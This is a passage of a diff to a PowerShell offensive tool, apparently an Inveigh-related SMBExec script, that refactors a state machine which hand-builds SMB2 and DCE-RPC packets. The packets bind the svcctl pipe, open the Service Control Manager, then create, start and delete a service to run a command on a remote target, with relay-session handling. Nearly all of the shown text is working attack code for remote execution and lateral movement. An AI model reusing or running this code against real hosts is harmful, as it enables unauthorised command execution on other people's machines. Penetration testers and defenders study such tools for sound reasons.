- $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
- if($SMB_signing)
+ 'Logoff'
{
- $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
+
+ $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- }
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadRequest'
- $SMB_client_stage_next = 'StartServiceW'
- }
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
- 'StartServiceW'
- {
-
- if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00')
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+ $stage = 'SendReceive'
+ }
+
+ 'OpenSCManagerW'
{
- Write-Verbose "Service $SMB_service created on $Target"
- $SMB_service_context_handle = $SMB_client_receive[112..131]
- $SMB2_message_ID += 20
- $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
if($SMB_signing)
{
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
}
- $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle
+ $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length
$SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
$RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
@@ -2368,245 +2542,411 @@ if($SMB_client.Connected)
$SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
$SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
$SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
+ $packet_SMB2_header["Signature"] = $SMB2_signature
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
- Write-Verbose "Trying to execute command on $Target"
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadRequest'
- $SMB_client_stage_next = 'DeleteServiceW'
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+ $stage = 'SendReceive'
}
- elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00')
- {
- Write-Output "Service $SMB_service creation failed on $Target"
- $SMBExec_failed = $true
- }
- else
- {
- Write-Output "Service creation fault context mismatch"
- $SMBExec_failed = $true
- }
-
- }
-
- 'DeleteServiceW'
- {
- if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00')
+ 'ReadRequest'
{
- Write-Output "Command executed with service $SMB_service on $Target"
+ Start-Sleep -m $Sleep
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
+
+ $packet_SMB2_data = New-PacketSMB2ReadRequest $file_ID
+ $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
+
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+ $stage = 'SendReceive'
}
- elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00')
+
+ 'RPCBind'
{
- Write-Output "Service $SMB_service failed to start on $Target"
+ $stage_current = $stage
+ $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
+
+ $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
+
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
+ $stage = 'SendReceive'
}
- $SMB2_message_ID += 20
- $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
- if($SMB_signing)
+ 'SendReceive'
{
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
- }
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
- $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle
- $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ if(Get-StatusPending $client_receive[12..15])
+ {
+ $stage = 'StatusPending'
+ }
+ else
+ {
+ $stage = 'StatusReceived'
+ }
- if($SMB_signing)
- {
- $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadRequest'
- $SMB_client_stage_next = 'CloseServiceHandle'
- $SMB_close_service_handle_stage = 1
- }
+ 'StartServiceW'
+ {
+
+ if([System.BitConverter]::ToString($client_receive[132..135]) -eq '00-00-00-00')
+ {
+ Write-Verbose "Service $SMB_service created on $Target"
+ $SMB_service_context_handle = $client_receive[112..131]
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
- 'CloseServiceHandle'
- {
+ $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle
+ $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- if($SMB_close_service_handle_stage -eq 1)
- {
- Write-Verbose "Service $SMB_service deleted on $Target"
- $SMB2_message_ID += 20
- $SMB_close_service_handle_stage++
- $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
+
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+ Write-Verbose "[*] Trying to execute command on $Target"
+ $stage = 'SendReceive'
+ }
+ elseif([System.BitConverter]::ToString($client_receive[132..135]) -eq '31-04-00-00')
+ {
+ Write-Output "[-] Service $SMB_service creation failed on $Target"
+ $stage = 'Exit'
+ }
+ else
+ {
+ Write-Output "[-] Service creation fault context mismatch"
+ $stage = 'Exit'
+ }
+
}
- else
+
+ 'StatusPending'
{
- $SMB2_message_ID++
- $SMB_client_stage = 'CloseRequest'
- $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+
+ if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00')
+ {
+ $stage = 'StatusReceived'
+ }
+
}
- $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
- if($SMB_signing)
+ 'StatusReceived'
{
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
- }
- $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ switch ($stage_current)
+ {
- if($SMB_signing)
- {
- $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- }
+ 'CloseRequest'
+ {
+ $stage = 'TreeDisconnect'
+ }
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- }
+ 'CloseServiceHandle'
+ {
- 'CloseRequest'
- {
- $SMB2_message_ID += 20
- $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
- if($SMB_signing)
- {
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
- }
-
- $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ if($SMB_close_service_handle_stage -eq 2)
+ {
+ $stage = 'CloseServiceHandle'
+ }
+ else
+ {
+ $stage = 'CloseRequest'
+ }
- if($SMB_signing)
- {
- $SMB2_sign = $SMB2_header + $SMB2_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- }
+ }
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'TreeDisconnect'
- }
+ 'CreateRequest'
+ {
+ $file_ID = $client_receive[132..147]
+
+ if($Refresh -and $stage -ne 'Exit')
+ {
+ Write-Output "[+] Session refreshed"
+ $stage = 'Exit'
+ }
+ elseif($stage -ne 'Exit')
+ {
+ $stage = 'RPCBind'
+ }
- 'TreeDisconnect'
- {
- $SMB2_message_ID++
- $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
+ }
+
+ 'CreateServiceW'
+ {
+ $stage = 'ReadRequest'
+ $stage_next = 'StartServiceW'
+ }
+
+ 'CreateServiceW_First'
+ {
+
+ if($SMB_split_stage_final -le 2)
+ {
+ $stage = 'CreateServiceW_Last'
+ }
+ else
+ {
+ $SMB_split_stage = 2
+ $stage = 'CreateServiceW_Middle'
+ }
+
+ }
+
+ 'CreateServiceW_Middle'
+ {
+
+ if($SMB_split_stage -ge $SMB_split_stage_final)
+ {
+ $stage = 'CreateServiceW_Last'
+ }
+ else
+ {
+ $stage = 'CreateServiceW_Middle'
+ }
+
+ }
+
+ 'CreateServiceW_Last'
+ {
+ $stage = 'ReadRequest'
+ $stage_next = 'StartServiceW'
+ }
+
+ 'DeleteServiceW'
+ {
+ $stage = 'ReadRequest'
+ $stage_next = 'CloseServiceHandle'
+ $SMB_close_service_handle_stage = 1
+ }
+
+ 'Logoff'
+ {
+ $stage = 'Exit'
+ }
+
+ 'OpenSCManagerW'
+ {
+ $stage = 'ReadRequest'
+ $stage_next = 'CheckAccess'
+ }
+
+ 'ReadRequest'
+ {
+ $stage = $stage_next
+ }
+
+ 'RPCBind'
+ {
+ $stage = 'ReadRequest'
+ $stage_next = 'OpenSCManagerW'
+ }
+
+ 'StartServiceW'
+ {
+ $stage = 'ReadRequest'
+ $stage_next = 'DeleteServiceW'
+ }
+
+ 'TreeConnect'
+ {
+ $tree_ID = $client_receive[40..43]
+ $stage = 'CreateRequest'
+ }
+
+ 'TreeDisconnect'
+ {
+
+ if($inveigh_session -and !$Logoff)
+ {
+ $stage = 'Exit'
+ }
+ else
+ {
+ $stage = 'Logoff'
+ }
+
+ }
+
+ }
+
+ }
- if($SMB_signing)
+ 'TreeConnect'
{
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
- }
-
- $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ $tree_ID = $client_receive[40..43]
+ $message_ID++
+ $stage_current = $stage
+ $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
- if($SMB_signing)
- {
- $SMB2_sign = $SMB2_header + $SMB2_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
+
+ $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- }
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'Logoff'
- }
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
- 'Logoff'
- {
- $SMB2_message_ID += 20
- $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
- if($SMB_signing)
- {
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+
+ try
+ {
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+
+ if(Get-StatusPending $client_receive[12..15])
+ {
+ $stage = 'StatusPending'
+ }
+ else
+ {
+ $stage = 'StatusReceived'
+ }
+ }
+ catch
+ {
+ Write-Output "[-] Session connection is closed"
+ $stage = 'Exit'
+ }
+
}
-
- $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- if($SMB_signing)
+ 'TreeDisconnect'
{
- $SMB2_sign = $SMB2_header + $SMB2_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
+
+ $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- }
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'Exit'
- }
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
- }
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+ $stage = 'SendReceive'
+ }
+
+ }
- if($SMBExec_failed)
- {
- BREAK SMB_execute_loop
}
-
- }
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
}
}
- $SMB_client.Close()
- $SMB_client_stream.Close()
+ if($inveigh_session -and $Inveigh)
+ {
+ $inveigh.session_lock_table[$session] = 'open'
+ $inveigh.session_message_ID_table[$session] = $message_ID
+ $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s}
+ }
+
+ if(!$inveigh_session -or $Logoff)
+ {
+ $client.Close()
+ $client_stream.Close()
+ }
+
}
} \ No newline at end of file